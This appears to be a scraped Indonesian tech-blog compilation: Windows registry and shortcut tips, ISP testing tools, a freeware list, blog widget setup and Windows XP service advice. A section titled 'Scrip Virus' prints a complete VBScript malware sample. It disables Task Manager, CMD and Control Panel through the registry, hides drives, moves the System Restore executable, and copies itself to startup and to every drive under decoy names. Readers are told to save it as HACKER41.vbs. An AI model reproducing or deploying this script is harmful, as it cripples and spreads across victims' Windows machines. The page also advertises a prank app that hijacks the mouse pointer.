Cara mengganti nama pemilik komputer (owner) di windows 7



Cara mengganti nama pemilik komputer (owner) di windows 7 ini merupakan kelanjutan dari cara mengubah nama pemilik komputer (owner) di system properties windows xp. Dengan menggunakan registry editor kita bisa menubah nama pemilik komputer yang terpajang di system propeties atau Windows Version.

Untuk mengganti nama pemilik komputer (owner) di windows 7, lakukan prosedur berikut:

1. Di Start menu ,klik tombol Start
Di kotak search ketik regedit kemudian enter





2. Pada kotak regedit editor pilih direktori
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion


Klik Registered Organization maka akan muncul tampilan berikut, ketik nama organisasi di bagian Value data misalnya "Blogger"

Klik Owner maka akan muncul tampilan berikut, ketik nama baru yang diinginkan di bagian Value data misalnya "geo"
Selanjutnya di kotak search ketik winver (winver.exe)



Maka akan tampil nama pemilik yang baru




http://artikelkomputerku.blogspot.com/2010/09/cara-mengganti-nama-pemilik-komputer.html

100 Daftar Shortcut Keyboard Komputer


  1. CTRL+C (Copy)
  2. CTRL+X (Cut)
  3. CTRL+V (Paste)
  4. CTRL+Z (Undo)
  5. DELETE (Delete)SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
  6. CTRL+SHIFT while dragging an item (Create a shortcut to the selecteditem)
  7. F2 key (Rename the selected item)
  8. CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
  9. CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
  10. CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
  11. CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
  12. CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
  13. CTRL+A (Select all)
  14. F3 key (Search for a file or a folder)
  15. ALT+ENTER (View the properties for the selected item)
  16. ALT+F4 (Close the active item, or quit the active program)
  17. ALT+ENTER (Display the properties of the selected object)
  18. ALT+SPACEBAR (Open the shortcut menu for the active window)
  19. CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
  20. ALT+TAB (Switch between the open items)
  21. ALT+ESC (Cycle through items in the order that they had been opened)
  22. F6 key (Cycle through the screen elements in a window or on the desktop)
  23. F4 key (Display the Address bar list in My Computer or Windows Explorer)
  24. SHIFT+F10 (Display the shortcut menu for the selected item)
  25. ALT+SPACEBAR (Display the System menu for the active window)
  26. CTRL+ESC (Display the Start menu)
  27. ALT+Underlined letter in a menu name (Display the corresponding menu)
  28. F10 key (Activate the menu bar in the active program)
  29. RIGHT ARROW (Open the next menu to the right, or open a submenu)
  30. LEFT ARROW (Open the next menu to the left, or close a submenu)
  31. F5 key (Update the active window)
  32. BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
  33. ESC (Cancel the current task)
  34. SHIFT when you insert a CD-ROM into the CDROM drive (Prevent the CD-ROM from automatically playing)
  35. CTRL+TAB (Move forward through the tabs)
  36. CTRL+SHIFT+TAB (Move backward through the tabs)
  37. TAB (Move forward through the options)
  38. SHIFT+TAB (Move backward through the options)
  39. ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
  40. ENTER (Perform the command for the active option or button)
  41. SPACEBAR (Select or clear the check box if the active option is a check box)
  42. Arrow keys (Select a button if the active option is a group of option buttons)
  43. F1 key (Display Help)
  44. F4 key (Display the items in the active list)
  45. BACKSPACE (Open a folder one level up if a folder is selected in the
  46. Windows Logo (Display or hide the Start menu)
  47. Windows Logo+BREAK (Display the System Properties dialog box)
  48. Windows Logo+D (Display the desktop)
  49. Windows Logo+M (Minimize all of the windows)
  50. Windows Logo+SHIFT+M (Restore the minimized windows)
  51. Windows Logo+E (Open My Computer)
  52. Windows Logo+F (Search for a file or a folder)
  53. CTRL+Windows Logo+F (Search for computers)
  54. Windows Logo+F1 (Display Windows Help)
  55. Windows Logo+ L (Lock the keyboard)
  56. Windows Logo+R (Open the Run dialog box)
  57. Windows Logo+U (Open Utility Manager) Accessibility Keyboard Shortcuts
  58. Right SHIFT for eight seconds (Switch FilterKeys either on or off)
  59. Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
  60. Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
  61. SHIFT five times (Switch the StickyKeys either on or off)
  62. NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
  63. Windows Logo +U (Open Utility Manager)
  64. END (Display the bottom of the active window)
  65. HOME (Display the top of the active window)
  66. NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
  67. NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
  68. NUM LOCK+Minus sign (-) (Collapse the selected folder)
  69. LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
  70. RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
  71. RIGHT ARROW (Move to the right or to the beginning of the next line)
  72. LEFT ARROW (Move to the left or to the end of the previous line)
  73. UP ARROW (Move up one row)
  74. DOWN ARROW (Move down one row)
  75. PAGE UP (Move up one screen at a time)
  76. PAGE DOWN (Move down one screen at a time)
  77. HOME (Move to the beginning of the line)
  78. END (Move to the end of the line)
  79. CTRL+HOME (Move to the first character)
  80. CTRL+END (Move to the last character)
  81. SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
  82. CTRL+O (Open a saved console)
  83. CTRL+N (Open a new console)
  84. CTRL+S (Save the open console)
  85. CTRL+M (Add or remove a console item)
  86. CTRL+W (Open a new window)
  87. F5 key (Update the content of all console windows)
  88. ALT+SPACEBAR (Display the MMC window menu)
  89. ALT+F4 (Close the console)
  90. ALT+A (Display the Action menu)
  91. ALT+V (Display the View menu)
  92. ALT+F (Display the File menu)
  93. ALT+O (Display the Favorites menu)
  94. MMC Console Window Keyboard Shortcuts
  95. CTRL+P (Print the current page or active pane)
  96. ALT+Minus sign (-) (Display the window menu for the active console window)
  97. SHIFT+F10 (Display the Action shortcut menu for the selected item)
  98. F1 key (Open the Help topic, if any, for the selected item)
  99. F5 key (Update the content of all console windows)
  100. CTRL+F10 (Maximize the active console window)

Free Download Buku Pelajaran Depdiknas E-Book “Buku Gratis SD, SMP, SMU”

25 Alat untuk menguji internet anda

 Mungkin Anda rela mengeluarkan biaya yang cukup besar setiap bulannya untuk mendapatkan koneksi internet yang baik. Tetapi apakah Anda mendapatkan kualitas yang sesuai dengan apa yang Anda bayar? Mungkin saja kecepatan dan kualitas pelayanannya tidak sesuai dengan apa yang ditawarkan. Oleh karena itu gunakanlah alat-alat di bawah ini untuk memastikan Anda mendapatkan koneksi internet seperti yang telah dijanjikan.



Kinerja dan Kecepatan

Ujilah kecepatan koneksi internet Anda
Speedtest: Uji kecepatan internet melalui tampilan berbasis Flash menarik dan membandingkan kecepatan internet Anda dengan orang lain di seluruh dunia maupun di sekitar tempat tinggal Anda. (Thanks Aerialsky)
Intel Broadband Speed Test: Gunakan ini untuk membandingkan kecepatan Anda dengan orang lain.
Doctor Ping: Membandingkan waktu ping Anda terhadap lebih dari 100 server dengan rata-rata dari pengguna lainnya.
Roadrunner Speed Test: Menguji koneksi Roadrunner Anda untuk melihat apakah Anda mendapatkan kecepatan koneksi sesuai dengan yang telah Anda bayar.
AT&T Speed Test: Sama seperti Roadrunner, tool ini akan menganalisa pergerakan data AT&T Anda.
Audit My PC’s Broadband Speed Test: Uji kecepatan broadband ini memberikan hasil yang akurat dan mudah dimengerti.
Internet Performance and Speed Test: Gunakan ini untuk menguji kecepatan internet Anda.
Speakeasy Speed Test: Secara akurat mengukur kecepatan sambungan dan koneksi internet Anda dengan uji Speakeasy.
Uptime

Apakah ISP Anda menjanjikan uptime (waktu online) 100%? Ujilah dengan tool-tool ini.
IsItUp: Dengan jasa ini Anda dapat memonitor uptime ISP dari sebuah sistem eksternal.
24×7 Line Monitoring: Memeriksa uptime ISP Anda.
Integritas dan Kualitas

Periksalah apakah ada gangguan di koneksi Anda dengan tool-tool di bawah ini.
Web Integrity Checker: University of Washington dan International Computer Science Institute bekerja sama untuk membuat alat ini, yang akan mendeteksi apakah ISP Anda menyisipkan iklan ke dalam halaman web atau tidak.
Line Quality Testing: Memeriksa packet loss di koneksi Anda, plus masalah-masalah router.
Network Diagnostic Tester: Uji kinerja koneksi jaringan Anda dengan tool ini.
Smokeping: Memonitor alamat IP Anda selama 24 jam untuk mendeteksi packet loss atau latency yang berlebih dari tiga lokasi yang berbeda dengan Smokeping.
PingPlotter: Dengan PingPlotter, Anda bisa mengumpulkan data untuk melihat ada atau tidaknya gangguan keamanan dan performa pada koneksi Anda.
Network Neutrality Check: Gunakan ini untuk memeriksa apakah ISP Anda memanipulasi lalu lintas Anda atau tidak.
Pcapdiff: Alat ini akan membandingkan paket-paket yang diterima untuk mendeteksi apakah ada paket-paket yang dipalsukan atau dibuang.
Wireshark: Gunakan Wireshark untuk melihat packet yang diterima PC Anda untuk memastikan Anda tidak menjadi korban spoofing.
Port

Gunakan alat-alat ini untuk memastikan bahwa Anda telah mendapat akses penuh ke berbagai port yang Anda butuhkan.
Open Port Check Tool: Alat ini akan memberitahu Anda jika ISP Anda ternyata memblokir port tertentu (banyak ISP yang memblokir akses ke port 80 untuk koneksi rumah).
Open Port Tool: DynDNS menawarkan tool ini untuk membantu Anda mencari tahu jika ada port yang diblok ISP Anda.
Pembatasan / Throttling

Apakah ISP Anda membatasi bandwidth Anda untuk aplikasi-aplikasi tertentu? (P2P contohnya). Memutus koneksi VoIP? Alat-alat ini akan membantu Anda.
Switzerland: Sebuah aplikasi buatan EFF untuk menguji apakah penyedia layanan internet Anda menganggu kegiatan online Anda.
Glasnost: Gunakan tes ini untuk melihat apakah ISP Anda membatasi lalu lintas Bittorrent Anda atau tidak.
Gemini Project: Gunakan ini dan berpasanganlah dengan seseorang lain yang juga menggunakan ISP Anda untuk mencaritahu apakah koneksi Anda sedang dibatasi atau tidak.
Vuze Network Status Monitor: Memeriksa throttling dalam klien Vuze Anda dan sekaligus kumpulkan data kendali lalu lintas.
Network Measurement Agent: Alat ini akan menggunakan beberapa cara yang berbeda untuk mencari tahu apakah ISP Anda menahan bandwidth Anda atau tidak.

Bagaimana hasil pengujian ISP Anda? Apakah ISP Anda memblokir port tertentu, memiliki uptime buruk atau membatasi koneksi internet Anda?

daftar freeware terbaik

daftar freeware terbaik yang dapat anda download.
selamat mencoba.

AVG Anti-Virus Free Edition
Program antivirus gratis, dengan virus database yang cukup lengkap.
OS: Windows 2000/XP/Vista
License: Free
File Size: 46.13MB

LimeWire
Program untuk Share files di internet.
OS: Windows (all)
License: Free
File Size: 4.67MB

Ad-Aware 2008
Program yang dapat digunakan untuk memproteksi komputer anda dari
serangan malware.
OS: Windows 2000/XP/2003 Server/Vista
License: Free
File Size: 18.27MB

ICQ
Program chating yang cukup populer
OS: Windows 98/Me/2000/XP
License: Free
File Size: 11.07MB

Avira AntiVir Personal – Free Antivirus
Salah satu program antivirus yang dapat nominasi terbaik tahun 2008.
OS: Windows 2000/XP/Vista
License: Free
File Size: 21.28MB

Avast Home Edition
Program yang dapat membantu membasi virus, worms, and Trojan di
komputer anda.
OS: Windows (all)
License: Free
File Size: 23.11MB

Camfrog Video Chat
Program chat menggunakan video anda dapat mencobanya secara gratis.
OS: Windows 2000/XP/2003 Server/Vista
License: Free to try; $49.95 to buy
File Size: 7.98MB

WinRAR
Manage RAR and ZIP archives.
OS: Windows (all)
License: Free to try; $29.00 to buy
File Size: 1.15MB

WinZip
Zip and unzip your files quickly to conserve disk space and greatly reduce e-mail
transmission time.
OS: Windows 2000/XP/Vista
License: Free to try; $29.95 to buy
File Size: 13.03MB

BitComet
Share and download files from BitTorrent and chat with your friends.
OS: Windows NT/2000/XP/2003 Server/Vista
License: Free
File Size: 5.77MB

FrostWire
Download and share files on Gnutella network.
OS: Windows 2000/XP/Vista
License: Free
File Size: 7.32MB

mIRC
Chat with other people and participate in group discussions.
OS: Windows (all)
License: Free to try; $20.00 to buy
File Size: 1.66MB

Spybot – Search & Destroy
Search your hard disk and Registry for threats to your security and privacy.
OS: Windows (all)
License: Free
File Size: 9.27MB

FLV Player
Play Flash video files on your PC.
OS: Windows 2000/XP/Vista
License: Free
File Size: 3.36MB

Adobe Reader
Read Adobe PDF files on your desktop or on the Web.
OS: Windows 2000/XP/Vista
License: Free
File Size: 33.5MB

IrfanView
View and edit most graphics formats in a fast and simple way.
OS: Windows (all)
License: Free
File Size: 1.1MB

VersionTracker Pro
Detect and correct out-of-date drivers and software automatically.
OS: Windows 2000/XP/Vista
License: Free to try; $29.95 to buy
File Size: 5.66MB

Mozilla Firefox
Surf the Web, block pop-ups, and keep spyware at bay with this lean and fast
open-source browser.
OS: Windows 2000/XP/2003 Server/Vista
License: Free
File Size: 7.15MB

YouTube Downloader
Download YouTube videos and convert them to various formats.
OS: Windows 2000/XP/Vista
License: Free
File Size: 3.39MB

GOM Media Player
Play back video files in most of the popular video formats.
OS: Windows Me/2000/XP/2003 Server/Vista
License: Free
File Size: 5.53MB

RealPlayer
Download and watch Web videos with a media player and jukebox from
RealNetworks.
OS: Windows XP/Vista
License: Free
File Size: 12.67MB

SpywareBlaster
Prevent spyware from being installed on your computer.
OS: Windows (all)
License: Free
File Size: 2.74MB

Virtual DJ software
Beat-match, scratch, and mix your MP3 files.
OS: Windows (all)
License: Free to try; $299.00 to buy
File Size: 11.06MB

PrimoPDF
Print to PDF from Windows applications and optimize the PDF output.
OS: Windows (all)
License: Free
File Size: 10.8MB

Orbit Downloader
Manage and accelerate file downloads.
OS: Windows 2000/XP/2003 Server/Vista
License: Free
File Size: 2.18MB

Advanced WindowsCare Personal
Protect, repair, optimize, and clean your computer in one click.
OS: Windows 2000/XP/Vista
License: Free
File Size: 6.25MB

VLC Media Player
Play audio and video files with in real-time and streaming modes.
OS: Windows (all)
License: Free
File Size: 8.96MB

DivX for Windows with DivX Player
Create and watch videos in the DivX video format.
OS: Windows 2000/XP
License: Free
File Size: 16.94MB

Windows Live Messenger
Connect and share instantly on the worlds most popular IM network.
OS: Windows XP/Vista
License: Free
File Size: 15.38MB

Videora iPod Converter
Convert all types of video to play on your iPod.
OS: Windows (all)
License: Free
File Size: 6.82MB

Avant Browser
Block pop-up windows and browse multiple sites at once.
OS: Windows (all)
License: Free
File Size: 1.89MB

War Rock
Take part in multiplayer first person shooter enhancing your power with weapons
and items.
OS: Windows 2000/XP
License: Free
File Size: 547.45MB

PowerISO
Create, edit, extract, convert, compress, encrypt, split, and mount CD and DVD
image files.
OS: Windows (all)
License: Free to try; $29.95 to buy
File Size: 1.06MB

Nero 8 Ultra Edition
Burn video, audio, and data CDs and DVDs.
OS: Windows 2000/XP/2003 Server/Vista
License: Free to try; $79.99 to buy
File Size: 185.15MB
BearFlix
Search and download videos.
OS: Windows 98/Me/NT/2000/XP
License: Free
File Size: 3.24MB
PSP Video 9
Convert all types of video to play on your PSP.
OS: Windows (all)
License: Free
File Size: 8.43MB
Auslogics Disk Defrag
Defragment your disks and improve computer performance and stability.
OS: Windows NT/2000/XP/2003 Server/Vista
License: Free
File Size: 1.36MB
HexAssistant
Edit, copy, paste, and delete hex values.
OS: Windows (all)
License: Free to try; $39.95 to buy
File Size: 2.43MB
RoboForm
Reduce your many passwords to just one; enjoy easy, one-click logins and form filling.
OS: Windows (all)
License: Free to try; $29.95 to buy
File Size: 2.68MB
Little Fighter 2
Play against the computer or your friends with this fighting game.
OS: Windows 98/Me/2000/XP
License: Free
File Size: 12.7MB
Trillian
Chat with all your friends on mIRC, AIM, ICQ, MSN, and Yahoo Messenger.
OS: Windows (all)
License: Free
File Size: 8.64MB
uTorrent
Download torrent files.
OS: Windows (all)
License: Free
File Size: 214.8K
Flash Player
View Flash multimedia content through your browser.
OS: Windows 98/Me/2000/XP/2003 Server
License: Free
File Size: 723K
Windows Media Player
Get fast and flexible digital-media playback with access to smart organization features
and online stores.
OS: Windows XP
License: Free
File Size: 24.56MB
Revo Uninstaller
Uninstall unwanted and even broken applications accurately.
OS: Windows 2000/XP/2003 Server/Vista
License: Free
File Size: 1.52MB

ActiveX Download Control
Get a client ActiveX control for your Web and application projects.
OS: Windows (all)
License: Free to try; $99.95 to buy
File Size: 748.74K

Glary Utilities
Fix, speed up, maintain, and protect your PC.
OS: Windows (all)
License: Free
File Size: 5.58MB

Windows Movie Maker (Windows XP)
Construct home movies from captured digital video on your Windows XP system.
OS: Windows XP
License: Free
File Size: 12MB

No-IP DUC (Dynamic DNS Update Client)
Run a server even with a dynamic IP.
OS: Windows (all)
License: Free
File Size: 668K

Paint.NET
Create and alter photos using layers, effects, and other tools.
OS: Windows XP/2003 Server/Vista
License: Free
File Size: 1.5MB

Scrip Virus

   On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell" )
set FSO = CreateObject ("Scripting. FileSystemObject ")
set Creator = FSO.CreateTextFile ("C:\Ternate. vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya,
Mr.Dajjal :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\NoRun" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableT askMgr"," 1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableC MD","1"," REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoFolderOption" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoDrives" ,"16","REG_ D WORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoSaveSettings" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoControlPanel" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \NoSetTaskbar" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ Advanced\ HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeCapti on", "THE Syaithan-X"
Regpen.RegWrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeText" ,"ASSALAMUALA IKUM, YA AHLIL KUBUR"

Set Copier = FSO.GetFile ("C:\Ternate. vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Adobe. vbs")

FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12" )
FSO.CreateFolder ("D:\Program" )
FSO.CreateFolder ("E:\Program" )
FSO.CreateFolder ("F:\Program" )
FSO.CreateFolder ("G:\Program" )
FSO.CreateFolder ("H:\Program" )
FSO.CreateFolder ("I:\Program" )
FSO.CreateFolder ("J:\Program" )
FSO.CreateFolder ("K:\Program" )

Set Deleter = FSO.GetFile ("C:\Windows\ System32\ Restore\rstrui. exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\ rstrui.Gnamu" )

set Dupler = FSO.GetFile (WScript.ScriptFull Name)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\ Hantu.vbs" )
Dupler.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Desktop. ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All
Users\Desktop\ Dajjal_Antivirus .exe.vbs" )
Dupler.Copy ("C:\Windows\ System32\ Restore\rstrui. exe.vbs")
Dupler.Copy ("D:\Program\ MotoGP_SETUP. vbs")
Dupler.Copy ("E:\Program\ TuneUp2009_ SETUP.vbs" )
Dupler.Copy ("F:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("G:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("H:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("I:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("J:\Program\ Project.vbs" )
Dupler.Copy ("K:\Program\ Hantu.vbs" )

Set Runner = WScript.CreateObjec t ("WScript.Shell" )
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\ Hantu.vbs" )

__________________________________________________________________

copy tulisan diatas kemudian paste di notepad

save dengan nama HACKER41.vbs

-----------------------------------------------------------------------------

Jangan di coba di computer pribadi anda
http://hacker41.wordpress.com/

menambah YM di blog

Saya punya blog di Blogspot. Saya ingin pengunjung blog saya bisa chatting dengan saya lewat Yahoo! Messenger. Mungkinkah?

Untuk keperluan itu kita bisa memanfaatkan fitur Pingbox yang disediakan Yahoo!. Lewat Pingbox, kita akan mendapatkan kode yang harus kita pasang di blog, profil Friendster, atau website kita.

Berikut ini cara membuat Pingbox:
  1. Klik http://messenger.yahoo.com/pingbox/studio/ untuk menuju ke halaman seperti pada gambar di bawah ini:
  2. Pilih Background Theme sesuai dengan preferensi kita;
  3. Di kolom Display name, masukkan nama yang akan kita tampilkan. Contrenglah opsi Show Yahoo! Messenger display image jika kita ingin menampilkan gambar yang sekarang muncul di YM kita.
  4. Pilihlah salah satu ucapan selamat datang di kolom Online Greeting, atau pilih Enter custom message jika kita ingin membuat sendiri ucapan itu.
  5. Pilihlah salah satu pesan bahwa kita sedang tidak online di kolom Offline message, atau pilih Enter custom message jika kita ingin membuat sendiri ucapan itu.
  6. Contrenglah opsi Require visitors to enter Nickname to send IM agar setiap orang yang mengirim pesan ke kita diwajibkan mengisikan nama aliasnya (nick name);
  7. Pada kolom Save Pingbox as, tulislah nama Pingbox kita. Misal, jika pingbox yang kita bikin sekarang ini akan dipasang di blog, berilah nama Pingbox Blogger atau sesuka anda.
  8. Tekan tombol Save;
  9. Akan muncul windows bar. Masukanlah Yahoo! ID dan passwordnya, lalu tekan tombol Sign In. Windows itu akan menutup sendiri.
  10. Akan muncul kotak berisikan kode yang harus kita pasang. Untuk mendapatkan kode yang pas sesuai peruntukannya, pilihlah jenis blog atau website kita. Misal, jika kita ingin mendpatkan kode untuk Blogger maka kliklah logo dan tulisan Blogger yang tersedia.
  11. Tentukan ukuran kotak yang kita inginkan. Sangat disarankan untuk memilih opsi Recommended.
  12. Tekan tombol Copy to clippboard.
Tahapan selanjutnya Cara Pasang Yahoo Messenger (YM) di Blogger, langkah-langkahnya sebagai berikut:
  1. Login ke Blogspot Anda => klik Rancangan/Design => Tambah/Add Gadget => pilih HTML/JavaScript atau baca Cara Pasang dan Hapus Widget Blog di Blogspot;
  2. Setelah terbuka halaman baru, pada kolom Judul, tulislah Judul yang kita mau, misal: CHATBOX.
  3. Pada kolom Konten masukan kode Pingbox yang telah dicopy sebelumnya, caranya letakkan Crusor ke dalam kolom Konten, lalu klik kanan dengan mouse dan pilih paste atau tekan Ctrl + V pada keyboard;
  4. Klik Simpan, selesai.
Apabila proses dan langkah-langkah di atas telah di lakukan dengan benar, maka hasilnya akan seperti pada contoh di bawah ini (contoh akan muncul/tampil jika browser Anda dilengkapi plugins flash player):plugins flash player):
Demikianlah tutorial Cara Pasang Yahoo Messenger (YM) di Blogger ini, semoga bermanfaat.



Sumber: www.remo-xp.com (Dengan Perubahan Seperlunya).

Pointer Bergerak Sendiri Tak Terkendali

Pointer Bergerak Sendiri Tak Terkendali

Tiba-tiba pointer bergerak sendiri tidak sesuai dengan gerakan mouse. Bahkan, saat mouse didiamkan tak bergerak, pointer komputer tetap bergerak sendiri, berhenti, lalu bergerak lagi. Seperti saat kejadian jika mouse rusak.
"Kenapa pointerku bergerak sendiri?? Wah, mouse-nya rusak nih...."
Itulah salah satu kejadian dan ucapan jika aplikasi ini dijalankan pada komputer. Namun, jangan takut, karena ini hanyalah sebuah aplikasi pengacau pointer yang dapat dijalankan dan dapat dihentikan dengan mudah. Biasanya, aplikasi ini digunakan untuk mengerjai teman yang sedang menggunakan komputer. Ketika aplikasi portable ini (size=6,53 kb) dijalankan, maka pointer akan bergerak sendiri secara bebas tak terkendali.

Arah gerak pointer tidak akan mengikuti gerakan mouse. Sebagai contoh, kita menggerakkan mouse ke arah kanan, pointer di komputer akan bergerak ke atas. Dengan begitu, orang yang Anda kerjai akan merasa bahwa mouse yang digunakannya telah rusak.
Untuk memulai "misi iseng" terhadap teman, ikuti langkah berikut ini:
1. Download aplikasi Mouse Bergerak Sendiri di sini (server di mediafire)
2. Ekstrak menjadi "Mouse Bergerak Sendiri.exe"
3. Jalankan aplikasi "Mouse Bergerak Sendiri.exe" dengan cara meng-klik dua kali
4. Untuk menghentikan aplikasi ini, tekan tombol ESC dua kali


Sumber:

Pengertian Sistem Operasi Komputer (operating system)

Sistem operasi Komputer adalah perangkat lunak komputer atau software yang bertugas untuk melakukan kontrol dan manajemen perangkat keras dan juga operasi-operasi dasar sistem, termasuk menjalankan software aplikasi seperti program-program pengolah data yang bisa digunakan untuk mempermudah kegiatan manusia. Sistem Operasi dalam bahasa Inggrisnya disebut Operating System, atau biasa di singkat dengan OS.
Sistem Operasi komputer merupakan software pada lapisan pertama yang diletakkan pada memori komputer, (memori komputer dalam hal ini ada Hardisk, bukan memory ram) pada saat komputer dinyalakan. Sedangkan software-software lainnya dijalankan setelah Sistem Operasi Komputer berjalan, dan Sistem Operasi akan melakukan layanan inti umum untuk software-software itu. Layanan inti umum tersebut seperti akses ke disk, manajemen memori, skeduling task, dan antar-muka user. Sehingga masing-masing software tidak perlu lagi melakukan tugas-tugas inti umum tersebut, karena dapat dilayani dan dilakukan oleh Sistem Operasi. Bagian kode yang melakukan tugas-tugas inti dan umum tersebut dinamakan dengan kernel suatu Sistem Operasi.
Sistem Operasi berfungsi sebagai penghubung antara lapisan hardware dan lapisan software. selain itu, Sistem Operasi komputer juga melakukan semua perintah perintah penting dalam komputer, serta menjamin aplikasi-aplikasi yang berbeda fungsinya dapat berjalan lancar secara bersamaan tanpa hambatan. Sistem Operasi Komputer menjamin aplikasi perangkat lunak lainnya bisa memakai memori, melakukan input serta output terhadap peralatan lain, dan mempunya akses kepada sistem file. Jika beberapa aplikasi berjalan secara bersamaan, maka Sistem Operasi Komputer akan mengatur jadwal yang tepat, sehingga sebisa mungkin semua proses pada komputer yang berjalan mendapatkan waktu yang cukup untuk menggunakan CPU dan tidak saling mengganggu dengan perangkat yang lain.
Contoh-contoh dari Sistem operasi Komputer misalnya adalah Windows, Linux, MacOS, dan lain lain

10 Services Windows XP Yang Tidak Boleh Diganggu

Secara harfiah ada puluhan panduan di luar sana yang membantu Anda menentukan layanan service windows yang aman yang Anda dapat nonaktifkan pada Windows XP. Menonaktifkan layanan yang tidak perlu dapat meningkatkan kinerja sistem dan keamanan sistem operasi secara keseluruhan. Namun, petunjuk yang mereka berikan jarang yang menunjukkan layanan yang Anda tidak boleh nonaktifkan. Semua layanan yang berjalan di sistem Window melayani tujuan tertentu dan semua layanan mempunyai peran sangat penting. Pada artikel ini, Anda akan belajar tentang 10 layanan services Windows XP kritis yang tidak boleh Anda nonaktifkan.
services windows
DNS Client
Layanan ini mengurus DNS atau cache nama, memungkinkan sistem untuk berkomunikasi dengan nama kanonik daripada harus melalui alamat IP. DNS memungkinkan Anda di browser Web bisa langsung mengetik misalnya http://www.agussale.com daripada harus mengingat http://216.239.113.101 sebagai alamat IP situs. Jika Anda menghentikan layanan ini, Anda akan menonaktifkan kemampuan komputer Anda untuk menyelesaikan nama ke alamat IP, sehingga pada dasarnya r semua endering Web browsing tidak mungkin dilakukan.
Network Connections
Network Connections atau sambungan jaringan mengelola layanan jaringan dan koneksi dial-up komputer Anda, termasuk pemberitahuan status dan konfigurasi jaringan. Sambungan jaringan adalah unsur yang bertanggung jawab untuk memastikan bahwa komputer Anda dapat berkomunikasi dengan komputer lain dan dengan Internet. Jika layanan ini dinonaktifkan, konfigurasi jaringan tidak mungkin dilakukan. koneksi jaringan baru tidak dapat diciptakan dan jasa yang memerlukan jaringan informasi tidak berfungsi.
Plug and Play
Plug dan Play adalah layanan yang mendeteksi setiap kali perangkat keras baru ditambahkan ke komputer. Layanan ini mendeteksi perangkat keras yang baru dan mencoba mengkonfigurasinya secara otomatis untuk digunakan pada komputer. Plug dan Play sering dikacaukan dengan Universal Plug dan Play layanan (UPnP), yang merupakan cara Windows XP mendeteksi sumber daya jaringan yang baru (yang bertentangan dengan sumber daya perangkat keras lokal). Plug dan Play layanan sangat penting sebagai dan tanpa itu sistem operasi anda dapat menjadi tidak stabil dan tidak akan mengenali hardware baru. Di sisi lain, UPnP umumnya tidak diperlukan dan dapat dinonaktifkan tanpa khawatir. Jika Anda menonaktifkan Plug and Play, komputer Anda akan tidak stabil dan tidak mampu mendeteksi perubahan perangkat keras
Print Spooler
Hampir setiap komputer di luar sana perlu untuk melakukan proses mencetak. Jika Anda ingin komputer Anda dapat mencetak, jangan menonaktifkan layanan Print Spooler. Ia mengatur semua kegiatan pencetakan untuk sistem anda. Anda mungkin berpikir bahwa kurangnya printer membuat aman untuk menonaktifkan layanan Print Spooler. Secara teknis benar, tetapi tidak ada gunanya melakukan hal itu karena suatu waktu Anda akan membutuhkan, Anda harus ingat untuk mengaktifkan ulang layanan, dan Anda mungkin menjadi Anda frustasi.
Remote Procedure Call (RPC)
